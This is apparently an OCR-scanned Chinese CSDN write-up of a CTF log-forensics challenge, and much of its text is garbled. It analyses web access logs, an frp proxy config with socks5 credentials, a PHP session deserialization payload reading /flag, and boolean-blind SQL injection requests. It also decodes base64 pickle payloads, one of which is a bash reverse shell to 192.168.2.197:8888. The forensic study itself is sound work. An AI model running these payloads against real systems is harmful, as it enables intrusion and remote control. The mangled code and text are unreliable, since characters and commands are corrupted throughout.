G6e 74 3a 2 |X-Powered-By: PHP/5.5.9-1ubuntud.29 CSDMN @ioker-van .
#  hack. nean Content-Length: 14 R 2 (01w : ﬂ'"": Defaualt

RIS — BNt A, E#010EditorfTFF

i
o

b5 72|76 Z [common] .server_
2E 31|36 38 7 addr = 192.168.2
76 65|72 39.123.server_po
74 6F 6B 6! 3 rt = 7778.token=
6E 6D 4E ' Xa3BJT215enmN6Z7
74 SF|73 6F 63 ABmv..[test_sock
74 70 /. ) 2l ZCYpE. = ECp.KE
3D 31 mote_port =8111.
6F 6B plugin = socks5.
72 3D plugin_user = OH
70 75 DFt16cLQJ.plugin
A4 4E passwd = JTN276
72 70 Gp.use_encryptio
/3 5F n = true.use_com

£33
20 12 aression = true.

J W

S
oW =

n
} -~
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BEIP: 192.168.239.123

. (PEIER#SkH, Pliladmin#passwd)

CIDN@inkerya

PRFE3.6—#, 1 H010EditorsE A — & + 7Nk fl A B A I 1

“ socksb5



plugin_user = OHDFt16¢cLQJ
plugin_passwd = JTN276Gp”

=) OHDFt16cLQJ#JTN276Gp

4.1

RIS ARSI, RS R . (BIRSTSAXIHRRIDUE, Filfxtxt)

Flag :

172.17.0.1 - - [07/Aug/2021:01:37:51 +0000] "GET / HTTP/1.1" 200 638 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Saf.
172.17.0.1 - - [07/Aug/2021:01:37:51 +0000] "GET /favicon.ico HTTP/1.1" 404 493 "http://192.168.2.197:8081/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, lik
172.17.0.1 - - [07/Aug/2021:01:37:55 +0000] "GET / HTTP/1.1" 200 637 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Saf.
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /index.php HTTP/1.1" 200 601 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.451
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2egit HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.1
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2egit%2fHEAD HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/9
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2egit%2findex HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/9:
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2egit%2fconfig HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2egit%2fdescription HTTP/1.1" 404 457 "-" "Moxzilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chro
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /source HTTP/1.1" 404 457 "-" "Moxzilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.1
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /source%2ephp HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /source%2ephp%2ebak HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chr«
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2eidea%2fworkspace%2exml HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gec
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /source%2ephp%2eswp HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chr
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2esource%2ephp%2ebak HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /README%2eMD HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/9
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /README%2emd HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/9.
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /README HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.451¢
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2egitignore HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2esvn HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2ehg HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.1
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2esvn%2fwc%2edb HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chror
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2esvn%2fentries HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome,
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /user%2ephp%2ebak HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chron
172.17.0.1 - - [07/Aug/2021:01:37:58 +0000] "GET /%2eDS_store HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chirdivie/92:0.

RIHEHFEIR L4045, FUAEER—TFRA4040E3, f#HpythonlIA#— T tiT

string=""
with open('access.log') as f:

string=Ff.readline()
while(string !="'"):
if("404" not in string):
print(string)
string=Ff.readline()



172.17.0.1 - ~ [07/Aug/2021: +0000] “GET / HTTP/1.1” 200 638 “~" “Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHIML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"
172.17.0.1 - - [07/Aug/2021: +0000] “GET / HTTP/1.1” 200 637 "~" “Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36”
172.17.0.1 - - [07/Aug/2021: +0000] “GET /index. php HITP/1.1” 200 601 "~” "Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) ApplelebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
172.17.0.1 - - [07/Aug/2021:01:37:59 +0000] "GET /%2ehtaccess HTTP/1.1” 403 460 "~” "Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleliebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36”
172.17.0.1 - - [07/Aug/2021:01:37:59 +0000] "GET /index%2ephp HTTP/1.1” 200 601 "~” "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleliebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36”
172.17.0.1 - — [07/Aug/2021:01:37:59 +0000] "GET /www¥2ezip HTTP/1.1” 200 1686 “~" “Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"
.0.1 - - [07/Aug/2021:01:37:59 +0000] “GET /wwwh2ezip HITP/1.1” 200 1686 "~” “Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"
172.17.0.1 - - [07/Aug/2021:01:37:59 +0000] "GET /info%2ephp HTTP/1.1” 200 25770 “-” “Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
7.0. Aug/2021:01:38:20 +0000] “GET /2filename=..%2F..%2F. . %2F. . %2F. . %2F 2F. . %2F. . %2F. . %2F. . %2F.
43416 2Ff1lesh2Ff1lenanch22%3Bs %3A%22call user func_arrayk22k3Bs%3A28%3a%22. %”Ff les¥2Fcall_user_func_array%2

hon-requests/2. 26. 0

172.17. [07/Aug/2021:01:38:20 +0000] “GET /?file=sess_car HTTP/1.1” 200 687 "-" “python-requests/2.26.0”

172.17 [07/Aug/2021:01:38:20 +0000] “GET / HITP/1.1” 200 645 “-” “python-requests/2.26.0"

172.17.0.1 - - [07/Aug, 2021:01:38:21 +0000] “GET /?filename=..%2F..%2F. . %2F. . %2F. . %2F. - %2F. . %2F. . %2F. . %2F. . %2F. . %2F. . %2F. 2Ftmp%2Fsess_car&content=func%7CN%3Bfile a%3A2%3A%7Bs%3A8%3A%22f 1 1 ename%22
%3Bs name%22%3Bs c3\”0*3—\‘>22cmAiuserjunc?an y%22%3Bs%3A28 %2Ffiles%2Fcall_user_func_array %3A1%3A%7Bs%3A5%3A%22%2F £ 1agh22%3Bs%3A13%3; Sp1FileObject%22%3B%7D HITP/1.1”

302 879 "python-requests/2. 26.0”
172.17.0.1 - - [07/Aug/2021:01:38:21 +0000] “GET /2file=sess_car HITP/1.1” 200 680 “~” “python-requests/2.26.0”
172.17.0.1 - - [07/Aug/2021:01:38:21 +0000] “GET / HTTP/1.1” 200 672 "-" “python-requests/2. 26.0” CSDN @joke

SR JE MG I R B B AT 2, R

172.17.0.1 - = [07/Aug/2021:01:37:59 +0000] "GET /www¥2ezip HITP/1.1” 200 1686 “~" "Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"

367,

172.17.0.1 - - [07/Aug/2021:01:37:59 +0000] "GET /wwwh2ezip HTTP/1.1” 200 1686 “=” "Mozilla/5.0 (Macintosh: Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Sz

SFEHTWEBHI RN iZ#E 25, XA “www.zip” — & iUE leak K IR S
=) YRS www.zip
4.2

SBEERE, BEA/tmp HESA NG, 4= A

R R 4047 JEA04RI ML, R

172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /2
%3Bs%3A16%3A%22. %2Ffiles%2Ffilename%22%3Bs%3A20%3A%:
302 879 “=” “python-requests/2. 26. 0"

.. %2F. . %2F. . %2F. . %2F. . %2F. . %2F. . %2F. . %2F. . %2F. . %2F. . %2F. . %”F
22%3Bs%3A28%3A%22. %2Ffiles%2Fcall_user_func_arrayX

%2F. . %2F. . %2F. . %2Ftmp%2Fsess_car&content=funch7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22f i lename%22
22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2F f 1ag%22%3Bs%3A13%3A%22Sp1File0b ject%22%3B%7D HTTP/1. 1

172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /2file=sess_car HTTP/1.1” 200 687 ython-requests/2. 26.0”

172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET / HTTP/1.1” 200 645 python-requests/2. 26.0"
172.17.0.1 - - [07/Aug/2021:01:38:21 +0000]
%3Bs%3A16%3A% 2Ffiles%2Ffilenal

302 879 python—requests/2. 26.

211 lename%22
1”

D HTTP/1.

XBEAHtmp, VLR ABELZE FEurldecode T

Aod dod Sd A S S S S Stmp/sess car8content=func|N;files|a:2:

13:"SplFileObject";}

{s:8:"filename”;s:16:".ffiles/filename";s:20:"call_user_func_array”;s:28:" /files/call_user func_array";}paths|a:1:{s:5:"/flag"

£l

=) Xf¥%4: sess_car
4.3

/\ﬁ]:ﬂfﬁulhi =5 {Eﬂﬁ W= xbl:ﬂ??ﬂ‘ﬁi{{q:o




FFE MM E T H#E, KA
Adodd oA A S A A A A S AL Jtmp/sess_car8icontent=func|N;files|a:2:
{s:8:"filename";5:16:" ffiles/filename";s:20:"call_user func array";s:28:"./files/call useq func array”;}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}

=) 3&: SplFileObject
71 GHLE T4, XBEERET, BRRALA“WEDIESHD

EENGLNZHE . (BEFEEEEMERNS)

CSBNT@oRer=yan

#HEHE— T HEXH,
“I 27.0.0.1 - - [07/Aug/2021 10:42:10] "GET /v2/ catalog HTTP/1.1" 404 -

127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021
127.0.0.1 - - [07/Aug/2021

10:42:10] "POST /EemAdminService/EemAdmin HTTP/1.1" 404 -

10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]
10:43:12]

A AT AR, BT SR —RESh~
FE TSR R & MR 2 T~~~

"GET /index.php HTTP/1.1" 404 -
"GET /.git HTTP/1.1" 404 -
"GET /.git%2fHEAD HTTP/1.1" 404 -

"GET /.git%2fconfig HTTP/1.1" 404 -

"GET /.git%2findex HTTP/1.1" 404 -

"GET /.git%2fdescription HTTP/1.1" 404 -
"GET /source HTTP/1.1" 404 -

"GET /source.php HTTP/1.1" 404 -

"GET /source.php.bak HTTP/1.1" 404 -

"GET /.idea%2fworkspace.xml HTTP/1.1" 404 -
"GET /.source.php.bak HTTP/1.1" 404 -

"GET /source.php.swp HTTP/1.1" 404 -

"GET /README.MD HTTP/1.1" 404 -

"GET /README.md HTTP/1.1" 404 -

"GET /README HTTP/1.1" 404 -

"GET /.gitignore HTTP/1.1" 404 -

"GET /.svn HTTP/1.1" 404 -
"GET /.svn%2fwc.db HTTP/1.1" 404 -

Djoker-yan

127.0.0.1 - - [07/Aug/2021 10:43:12] “GET /?user=STAKeDAKMFMndZhv¥W1p JwpwMQowKGewCmxwMgowkEkwCnRwMwowKGe zCklkwCmRwNAowY292CnN5 ¢ 3R] bQpwNQowZzUKKGexCnRSLg== HTTP/1.1” 500 -

127.0.0.1 - - [07/Aug/2021 10:43:12] “GET /?user=STAKcDAKMFMnY2FOICUADRZXO01TX1ZFUL1£SWiwb3JOXO0ZpMIUNCnAXC JA0ZzAKbHAYC JA0STAKAHAZC JA0ZZMKSTAKZHAOC B jb3WKC312dGVCnALC JBnNQooZzEKdFTu HTTP/1. 17 500 —

127.0.0.1 - - [07/Aug/2021 10:43:12] “GET /?user=STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3R jcC8x0TTuMTYAL j [uMTk3L2g40DgeMDAMS K CDEKMChMADS cDTKMCh JMAPOCDMKMChnMvp JMADKkcDQKMGNv cwpze XNOZWOKDUKMGe 1C1hnMQpOUi 4= HTTP/1.17 500 —
>

BREGHEI, WESHRGETRA K 2user
Frbh, =) WiHEsH.: user
7.2



BESEINEHIETEES

St Z Al BB (8] i) S 8050 Bl & baseb4ffiy, KIME —FBRATTFER

STAKcDAKMFMnY2F0IC9UaDRzX0ITX1ZFUIfSW1wb3J0X0ZpMWUNRCnAxCjAcZzAKbHAYCjA0STAKdHAZCjA0ZzZMKSTAKZHAOC]Bjb3
MKe3lzdGViCnA1CjBnNQooZzEKdFIu

%5 (Encode) 25 (Decode) 1 AxiE | (ARESTREES: * )

Base64 Sl fRIDRIER [ R EB2E
10
p0
0S'cat /Thds IS VERY Import File'
p1
0(g0 -
Ip2 CSDM @joker ;zr\/
=) %% #4%: /Thdas IS VERY Import_File
7.3

B shellipHiR 12 . (FBRAEHEHE “ipam”, Hi127.0.0.1:2333)

Flag :
CYOR"aoker=yan

[F#7.2,

STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIUMTY4LjluMTk3Lzg40DggMD4mMScKcDEKMChnMApscDIKMChJMApOcD
MKMChnMwpJMApkcDQKMGNvewpzeXNOZWOKcDUKMGc1CihnMQpOUi4=

4353 (Encode) 215 (Decode) 13 | (TRADHUERE: + )

Base64 fRADEUARISHISEE : O BIREEENSH

10

p0

0S'bash -i >& /dev/tcp/192.168.2.197/8888 0>&1"

p1

0(g0

|p2 CSDN ':!-“.';.’.'_.'

=) IP: 192.168.2.197:8888



BB NI EPRARNEATE (BT, filn "JHEEs " )

Flag :

B H & access.log” £ X URLEN, B HATHRAT LRI BHE K, Xt —bool&¥E

"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20'%C2%80",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 422 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20'%7F',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 418 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20"~",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 418 "-" "python-requests/2.26.0"

"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20'%7D",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 418 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20'%7C',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 418 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20'%7B',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 418 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20'z',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 418 "-" "python-requests/2.26.0"

"GET /indexX php?id=1%20and%20if(substr(database(),1,1)%20=%20'y",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 417 python-requests/2.26.0"

"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20'x',1,(select%20table_name%20from%_20information_schema.tables)) HTTP/1.1" 200 417 "-" "python-requests/2.26.0"

"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20'w',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 417 "-" "python-requests/2.26.0"

"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20"v",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 417 python-requests/2.26.0"

"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20"u',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 417 "python-requests/2.26.0"

"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20"t",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 417 python-requests/2.26.0"

"GET /index.php?id=1%20and%20if(substr(database(),1,1)%20=%20's',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 472 "-

"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20'%C2%80",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 421 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20'%7F',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 418 "-" "python-requests/2.26.0"
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(

python-requests/2.26.0"

"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20"~",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 418 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20'%7D",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 418 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20'%7C',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 418 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20'%7B",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 418 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20'z",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 417 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20"y",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 417 python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20"x',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 417 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20'w',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 417 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20"v'",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 417 python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20"u',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 417 "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20't',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 416 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20's",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 416 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20'r",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 416 python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),2,1)%20=%20'q",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 473 "-" "python-requests/2.26.0"
"GET /index.php?id=1%20and%20if(substr(database(),3,1)%20=%20'%C2%80",1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 421 "-" "python-requests/2:26:0"

=) F¥k: MREHE

8.2

PEEINSET, SLG5flaglEiEES. ZEHFREE #&A &
IREER#RE#TEE" , Hllldatabase#table#column)

—

CSDN-@jokerdyan

FEEE T —TFTHSE, KIWEEEHSHRNELER,

172.17.0.1 - - [01/Sep/2021:01:44:01 0000] "GET /index.php?id=1 and if(substr((select column_name from information schema.columns where table name="flag' and

table_schema="sqli"),4,1) = 'n",1,(select table_name from information_schema.tables)) HTTP/1.1" 200 448 "-" "python-requests/2.26.0"

172.17.0.1 - - [01/Sep/2021:01:45:55 0000] "GET /index.php?id=1 and if(substr((select flag from sqli.flag),1,1) = '~",1,(select table name from information schema.tables))
HTTP/1.1" 200 425 "-" "python-requests/2.26.0"

BEEL: sqli. Réflag. FBflag
=) sqli#flag#flag



8.3
REFZBAE, AT —AN—MEBEERI GXFELEFENE, EFEAmMO)
X B iR ftpython il A< 3R B,

from urllib import parse
num=0

line=0

tmpl=1

tmp2=2

strl=""

with open("access.log",'r') as f:
string=Ff.readline()
while(string !=""):

if("sqli.flag" in string):

string=parse.unquote(string)
num=string.find("sqli.flag")#Z%F
num+=19
line=string.find("sqli.flag")
line+=11
if(string[line+1] ==","):
tmpl=int(string[line])
elif(string[line+1] !=","):
num+=1
tmpl=int(string[line:1line+2])

if(tmpl ==tmp2): #RILEWRFERF, £L—1TH
tmp2+=1
print(strl,end="")

stri=string[num] #F8_E—1THFH
string=Ff.readline()

flag{deddcd67—bcfd-487e—h940-12172668c7db}

. CSDM @joker-yan

=>flag{deddcd67-bcfd-487e-b940-1217e668c7db}

INGG
B 1.1

“jwt”: 2



“webshell” :3
"HES": 4
“WESH: 5
“WHEDHT: 6
“BEHES: 7
“SQLIEN": 8
“wifi”:9

"ios":10
"MUEANE" 11

ARLE EEE A CHERIE EHE EEMWPLET, &F —%EEHRRTHRKE LT =K, FUERFHE
RGA T ~~~ERGEHEH OF R, LA ERZRHE

BIFEFT PRk TE D
B BB 4 /C SDNE 32 R K 2
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